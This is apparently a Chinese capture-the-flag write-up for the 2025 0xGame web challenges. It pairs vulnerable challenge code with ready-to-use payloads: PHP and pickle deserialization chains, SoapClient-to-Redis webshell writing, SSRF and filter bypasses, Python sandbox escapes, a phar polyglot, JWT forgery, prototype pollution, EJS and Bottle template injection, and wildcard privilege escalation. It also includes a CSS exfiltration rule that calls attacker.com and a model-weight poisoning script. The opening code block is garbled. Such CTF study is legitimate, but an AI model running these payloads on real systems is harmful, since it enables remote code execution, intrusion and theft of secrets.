week1
RCE1
考点:或运算构造 system
(); (); = []; = []; = []; = ; { ; () (, ); } (() && ()){ (() === () && !== ){ (!()){ (); } { ; } } { ; } } { ; }
2025-0xGame Web 安全挑战赛的全流程解题思路,涵盖 Week 1 至 Week 4 的多个挑战。主要涉及 PHP、Python、JavaScript、Java 等语言的安全漏洞利用。核心考点包括 RCE 构造与绕过、XXE 注入、SSRF 及 DNS 重绑定、多种反序列化漏洞(PHP、Python Pickle、Phar、Java Shiro)、SSTI 模板注入、沙箱逃逸技术、文件上传绕过、JWT 伪造与原型链污染、以及 AI 模型污染攻击。文章提供了详细的 Payload 构造方法和代码审计技巧,旨在帮助读者理解各类 Web 安全问题的原理与防御方案。
(); (); = []; = []; = []; = ; { ; () (, ); } (() && ()){ (() === () && !== ){ (!()){ (); } { ; } } { ; } } { ; }
查根目录文件:print_r(scandir('/'));
利用或运算绕过过滤:(systee|systel)('tac /f???'); 或直接使用反引号 print(tac /f???);。

直接查看源码获取 flag。

注意代理设置,请求头添加 Via: clash。

<?php error_reporting(0); highlight_file(__FILE__); class ZZZ { public $yuzuha; function __construct($yuzuha) { $this -> yuzuha = $yuzuha; } function __destruct() { echo "破绽,在这里!" . $this -> yuzuha; } } class HSR { public $robin; function __get($robin) { $castorice = $this -> robin; eval($castorice); } } class HI3rd { public $RaidenMei; public $kiana; public $guanxing; function __invoke() { if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei)) return $this -> guanxing -> Elysia; } } class GI { public $furina; function __call($arg1, $arg2) { $Charlotte = $this -> furina; return $Charlotte(); } } class Mi { public $game; function __toString() { $game1 = @$this -> game -> tks(); return $game1; } } if (isset($_GET['0xGame'])) { $web = unserialize($_GET['0xGame']); throw new Exception("Rubbish_Unser"); } ?>
利用垃圾回收去掉最后一个}绕过,hash 用 Exception 绕过。
<?php error_reporting(0); class ZZZ { public $yuzuha; function __construct($yuzuha) { $this -> yuzuha = $yuzuha; } function __destruct() { echo "破绽,在这里!" . $this -> yuzuha; } } class HSR { public $robin="system('env');"; function __get($robin) { echo "4"; $castorice = $this -> robin; eval($castorice); } } class HI3rd { public $RaidenMei; public $kiana; public $guanxing; function __invoke() { echo "3"; if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei)) return $this -> guanxing -> Elysia; } } class GI { public $furina; function __call($arg1, $arg2) { echo "2"; $Charlotte = $this -> furina; return $Charlotte(); } } class Mi { public $game; function __toString() { echo "1"; $game1 = @$this -> game -> tks(); return $game1; } } $a=new ZZZ(1); $a-> yuzuha=new Mi(); $a-> yuzuha->game=new GI(); $a-> yuzuha->game->furina=new HI3rd(); $a-> yuzuha->game->furina->kiana=new Exception("",1);$a-> yuzuha->game->furina->RaidenMei=new Exception("",2); $a-> yuzuha->game->furina->guanxing=new HSR(); echo urlencode(serialize($a)); ?>
from flask import Flask,request,render_template import json import os app = Flask(__name__) def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class Dst(): def __init__(self): pass Game0x = Dst() @app.route('/',methods=['POST', 'GET']) def index(): if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html", Game0x=Game0x) @app.route("/<path:path>") def render_page(path): if not os.path.exists("templates/" + path): return "Not Found", 404 return render_template(path) if __name__ == '__main__': app.run(host='0.0.0.0', port=9000)
Payload:
{ "__init__":{ "__globals__":{ "os":{ "path":{ "pardir":"!" } } } } }


admin/admin123 登入,发现网页名字提示是打 xxe。
<!DOCTYPE evil [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <user><username>&xxe;</username><password>&xxe;</password></user>

无过滤无回显 XXE。

考 aaEncode 加密。
0xGame{Hello,JavaScript}
买 pickle,将折扣改成 0.0001 就行。
Use GET To Send Your Loved Data!!! BlackList = [b'', b''] @app.route('/pickle_dsa') def pic(): data = request.args.get('data') if not data: return "Use GET To Send Your Loved Data" try: data = base64.b64decode(data) except Exception: return "Cao!!!" for b in BlackList: if b in data: return "卡了" p = pickle.loads(data) print(p) return f" Vamos! {p}
打 pickle 反序列化,注意要用 protocol=0(文本协议),避免包含 0x1E 字节。
import pickle import base64 import os class P(object): def __reduce__(self): return (eval, ("__import__('os').popen('env').read()",)) payload = pickle.dumps(P(), protocol=0) b64_payload = base64.b64encode(payload) print(payload) print(b64_payload.decode())
题目给了源码。
from flask import Flask, request from urllib.parse import urlparse import socket import os app = Flask(__name__) BlackList = [ 'localhost', '@', '172', 'gopher', 'file', 'dict', 'tcp', '0.0.0.0', '114.5.1.4' ] def check(url: str) -> bool: parsed = urlparse(url) host = parsed.hostname if not host: return False host_ascii = host.encode('idna').decode('utf-8') try: ip = socket.gethostbyname(host_ascii) except Exception: return False return ip == '114.5.1.4' @app.route('/') def index(): return open(__file__, 'r', encoding='utf-8').read() @app.route('/ssrf') def ssrf(): raw_url = request.args.get('url') if not raw_url: return 'URL Needed' for u in BlackList: if u in raw_url: return 'Invaild URL' if check(raw_url): cmd = request.args.get('cmd', '') return os.popen(cmd).read() else: return 'NONONO' if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
Payload: ssrf?url=http://1912930564/&cmd=cat%20/f*


<?php highlight_file(__FILE__); error_reporting(0); //hint: Redis20251206 class pure{ public $web; public $misc; public $crypto; public $pwn; public function __construct($web, $misc, $crypto, $pwn){ $this->web = $web; $this->misc = $misc; $this->crypto = $crypto; $this->pwn = $pwn; } public function reverse(){ $this->pwn = new $this->web($this->misc, $this->crypto); } public function osint(){ $this->pwn->play_0xGame(); } public function __destruct(){ $this->reverse(); $this->osint(); } } $AI = $_GET['ai']; $ctf = unserialize($AI); ?>
Payload 构造:
<?php class pure { public $web; public $misc; public $crypto; public $pwn; } $a = new pure(); $a->web = 'SoapClient'; $a->misc = null; $a->pwn = null; $target = 'http://127.0.0.1:6379/'; $poc = "AUTH 20251206\r\n" . "CONFIG SET dir /var/www/html/\r\n" . "CONFIG SET dbfilename shell.php\r\n" . "SET x '<?= @eval(\$_POST[1]) ?>'\r\n" . "SAVE"; $a->crypto = array( 'location' => $target, 'uri' => "hello\"\r\n" . $poc . "\r\nhello" ); echo serialize($a);

测试一下 ssti。
过滤了一些关键词和点。
{{lipsum['__glo''bals__']['o''s']['po''pen']('cat /f*')['re''ad']()}}

输入?0xGame=1 得到源码。
<?php error_reporting(0); if (isset($_GET['0xGame'])) { highlight_file(__FILE__); } if (isset($_POST['web'])) { $web = $_POST['web']; if (strlen($web) <= 120) { if (is_string($web)) { if (!preg_match("/[!@#%^&*:'\-<?>"\/|`a-zA-BD-GI-Z~\\]/", $web)) { eval($web); } else { echo("NONONO!"); } } else { echo "No String!"; } } else { echo "too long!"; } } ?>
Payload:
$_=[]._;//Array $__=$_[1];//r $_=$_[0];//A $_++;//B $_1=++$_;//$_1=C,$_=D $_++;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
URL 编码后发送。
只能上传 png,但是源码提示有个 check.php,上传文件发现文件上传后被删除,但是原文件名出现在 check.php 里,那就是打文件名注入。

果然可以执行命令。

然后直接写马连。

from flask import Flask, request, Response import sys import io app = Flask(__name__) blackchar = "&*^%#${}@!~`·/<>" def safe_sandbox_Exec(code): whitelist = { "print": print, "list": list, "len": len, "Exception": Exception, } safe_globals = {"__builtins__": whitelist} original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() try: exec(code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() return output or error or "No output" except Exception as e: return f"Error: {e}" finally: sys.stdout = original_stdout sys.stderr = original_stderr @app.route("/") def index(): return open(__file__).read() @app.route("/check", methods=["POST"]) def check(): data = request.form.get("data", "") if not data: return Response("NO data", status=400) for d in blackchar: if d in data: return Response("NONONO", status=400) secret = safe_sandbox_Exec(data) return Response(secret, status=200) if __name__ == "__main__": app.run(host="0.0.0.0", port=9000)
Payload:
print(list.__class__.__subclasses__(list.__class__)[0].register.__globals__['__builtins__']['__import__']('os').popen('env').read())


使用 Exception 引发异常,并捕获异常对象,从回溯对象中访问 tb_frame 获取当前栈帧,再获取外层函数栈帧,利用栈帧的 f_globals 获取原始环境中的 builtins,然后执行命令。
try: raise Exception() except Exception as e: frame = e.__traceback__.tb_frame.f_back.f_back builtins = frame.f_globals['__builtins__'] output = builtins.__import__('os').popen('env').read() print(output)
发现文件上传和查询文件功能,查/etc/passwd 有回显,有文件包含,直接读源码 index.php。
<?php error_reporting(0); class MaHaYu{ public $HG2; public $ToT; public $FM2tM; public function __construct() { $this -> ZombiegalKawaii(); } public function ZombiegalKawaii() { $HG2 = $this -> HG2; if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2)) { die("这这这你也该绕过去了吧"); } else{ $this -> ToT = "这其实是来自各位的"; } } public function __destruct() { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow"; var_dump($HG2($FM2tM)); } } z $file=$_POST['file']; if(isset($_POST['file'])) { if (preg_match("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i", $file)) { die("对方撤回了一个请求,并企图蒙混过关"); } echo base64_encode(file_get_contents($file)); }
一眼就知道是 file_get_contents 触发 phar 反序列化,gz 压一下,改一下文件名分别绕过内容 waf 和文件名 waf。
<?php error_reporting(0); class MaHaYu{ public $HG2; public $ToT; public $FM2tM; public function __construct() { $this -> ZombiegalKawaii(); } public function ZombiegalKawaii() { $HG2 = $this -> HG2; if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i",$HG2)) { die("这这这你也该绕过去了吧"); } else{ $this -> ToT = "这其实是来自各位的"; } } public function __destruct() { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow"; var_dump($HG2($FM2tM)); } } $a = new MaHaYu(); $a -> HG2 = "getenv"; $a->FM2tM="FLAG"; $phar = new Phar("2.phar"); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata($a); $phar->addFromString("exp.txt", "test"); $phar->stopBuffering(); $fp = gzopen("2.phar.gz", 'w9'); gzwrite($fp, file_get_contents("2.phar")); gzclose($fp); @rename("2.phar.gz", "1.phar.png"); ?>
然后打 phar 协议就好了。
phar://upload/1.phar.png

代码分析显示存在 JWT 伪造和原型链污染漏洞。
先 token 伪造,注册时生成密钥,登入时解 token 没有鉴权,所以直接伪造 admin 就行。
import jwt import datetime import time headers = {"alg":"HS256","typ":"JWT"} token_dict = { "username":"admin", "password":"user", "iat":time.time(), "exp":time.time() + 36000} jwt_token = jwt.encode(token_dict, secret, algorithm='HS256', headers=headers)
然后将 min_public_time 污染成 8 月 3 号前就行。
{"__proto__": { "min_public_time": "2025-08-01" }}

一扫发现一个后门/asdback.php,直接蚁剑连。
<?php highlight_file(__FILE__); echo("Please Input Your CMD"); $cmd = $_POST['__0xGame2025phpPsAux']; eval($cmd); ?>
但是拿不了 flag,提权也不行,一看 start.sh,湾区杯和 N1 写过,打 cp 通配符提权。
cd /var/www/html/primary/ echo "">"-H" ln -s /flag ff cd ../marstream cat f


//original-author: gtg2619 //adapt: P const express = require('express'); const ejs = require('ejs'); const fs = require('fs'); const path = require('path'); const app = express(); app.set('view engine', 'ejs'); app.use(express.json({ limit: '114514mb' })); const STATIC_DIR = __dirname; function serveIndex(req, res) { var whilePath = ['index']; var templ = req.query.templ || 'index'; if (!whilePath.includes(templ)){ return res.status(403).send('Denied Templ'); } var lsPath = path.join(__dirname, req.path); try { res.render(templ, { filenames: fs.readdirSync(lsPath), path: req.path }); } catch (e) { res.status(500).send('Error'); } } app.use((req, res, next) => { if (typeof req.path !== 'string' || (typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined' && typeof req.query.templ !== null) ) res.status(500).send('Error'); else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename'); else next(); }) app.use((req, res, next) => { if (req.path.endsWith('/')) serveIndex(req, res); else next(); }) app.put('/*', (req, res) => { const filePath = path.join(STATIC_DIR, req.path); fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => { if (err) { return res.status(500).send('Error'); } res.status(201).send('Success'); }); }); app.listen(80, () => { console.log(`running on port 80`); });
Payload:
<%- global.process.mainModule.require('child_process').execSync('env') %>
Base64 编码后提交。


随便注册一个账户登入,得到 RSA 参数和 UUID8 相关逻辑。
先 rsa 解密得到 a。
import math import random import re n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669 e = 65537 c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719 dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523 # ... recover p from dp ...
响应头看到 b=120604030108。目录扫描得到 auth,得到 c=7430469441。直接 uuid8 加密即可。
import uuid def uuid8_from_chunks(a: int, b: int, c: int) -> uuid.UUID: a48 = a & ((1 << 48) - 1) b12 = b & ((1 << 12) - 1) c62 = c & ((1 << 62) - 1) int_uuid = (a48 << 80) | (b12 << 64) | c62 int_uuid |= (0x8 << 76) int_uuid |= (0x2 << 62) return uuid.UUID(int=int_uuid) def main() -> None: a = 109343314834543 b = 120604030108 c = 7430469441 u = uuid8_from_chunks(a, b, c) print(u)
admin/63727970-746f-849c-8000-0001bae3f741 登入,执行 env 即可。

拿到附件,知道用户密码是 admin/123456,登进去什么也没有,登入抓包结合题目应该是 shiro 反序列化。
目录扫描没发现啥东西,但是密钥一般都在/actuator/heapdump,访问得到,然后用工具解密。
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
得到 qebXusiEQHNsQq+TDqfsFQ==。

java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
然后爆破利用链执行命令就行。
flask 框架,尝试发现过滤了{}<>,那肯定打 bottle 的 python 代码执行,就打 abort 吧。
由于过滤了<>,用引号包裹绕过语法检测。
''' % from bottle import abort % a=__import__('os').popen("ls /").read() % abort(404,a) % end '''
wp 的方法其实就是文档中讲的另一种形式。
<div> % if __import__('bottle').abort(404,__import__('os').popen("cat /flag").read()): <span>content</span> % end </div>
看看源码。
from bottle import Bottle, request, template, run, static_file from datetime import datetime app = Bottle() messages = [] def Comment(message):
...
board = f"""//前端代码 """ return board def check(message): filtered = message.replace("{", " ").replace("}", " ").replace("eval", "?").replace("system", "~").replace("exec","?").replace("7*7","我猜你想输入 7*7").replace("<","尖括号").replace(">","尖括号") return filtered @app.route('/') def index(): return template(Comment(messages)) @app.route('/comment', method='POST') def submit(): text = check(request.forms.get('message')) now = datetime.now().strftime("%Y-%m-%d %H:%M") messages.append({"text": text, "time": now}) return template(Comment(messages)) @app.route('/static/<filename:path>') def send_static(filename): return static_file(filename, root='./static') if __name__ == '__main__': run(app, host='0.0.0.0', port=9000)
这题就是下面 app.js 与 bot.js 有用。
当 admin 登进就会有 flag,但是打不了 session 伪造,看看 bot.js,作用就是让 admin 身份的 bot 访问 url,而这个 url 就是 app.js 中 report 路由中的参数。这里利用 CSS 注入实现 XS Leak,一个常见的方法是利⽤ CSS 选择器匹配指定标签的某个属性的内容。
举例:
/* 匹配 content 属性以"a"开头的 meta 标签 */ meta[name="secret"][content^="a"] { background: url("http://attacker.com?q=a"); }
当这个 CSS 规则匹配时,浏览器会向 http://attacker.com?q=a 发起请求,攻击者就知道 content 属性以"a"开头。
而在 view 页面中:
<meta readonly name="secret" content="<%- locals.secret %>">
当 admin 用户访问时,flag 会被放在 meta 标签中,也就是说,我们构造恶意 css 语句,让 bot 去访问/view/:id 路由,然后 bot 的 view 页面包含 flag,然后我们利用 css 注入接收泄露的 flag。

看不懂,直接看 wp。
import torch from model_server import SimpleDessertClassifier # 加载原始模型 model = SimpleDessertClassifier() sd = model.state_dict() # 找到输出层 last_linear_weight = None last_linear_bias = None for k in sorted(sd.keys()): if k.endswith('.weight') and sd[k].shape[0] == 3: last_linear_weight = k last_linear_bias = k.replace('.weight', '.bias') break if last_linear_weight is None: raise RuntimeError("未能找到输出层 Linear") # 污染输出层 sd[last_linear_weight] = torch.zeros_like(sd[last_linear_weight]) sd[last_linear_bias] = torch.tensor([-10.0, 10.0, 0.0]) # 保存污染后的模型 torch.save(sd, "poisoned_fixed.pth")

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online
生成新的随机RSA私钥和公钥pem证书。 在线工具,RSA密钥对生成器在线工具,online
查找任何按下的键的javascript键代码、代码、位置和修饰符。 在线工具,Keycode 信息在线工具,online
JavaScript 字符串转义/反转义;Java 风格 \uXXXX(Native2Ascii)编码与解码。 在线工具,Escape 与 Native 编解码在线工具,online
基于 Mermaid.js 实时预览流程图、时序图等图表,支持源码编辑与即时渲染。 在线工具,Mermaid 预览与可视化编辑在线工具,online
使用 Prettier 在浏览器内格式化 JavaScript 或 HTML 片段。 在线工具,JavaScript / HTML 格式化在线工具,online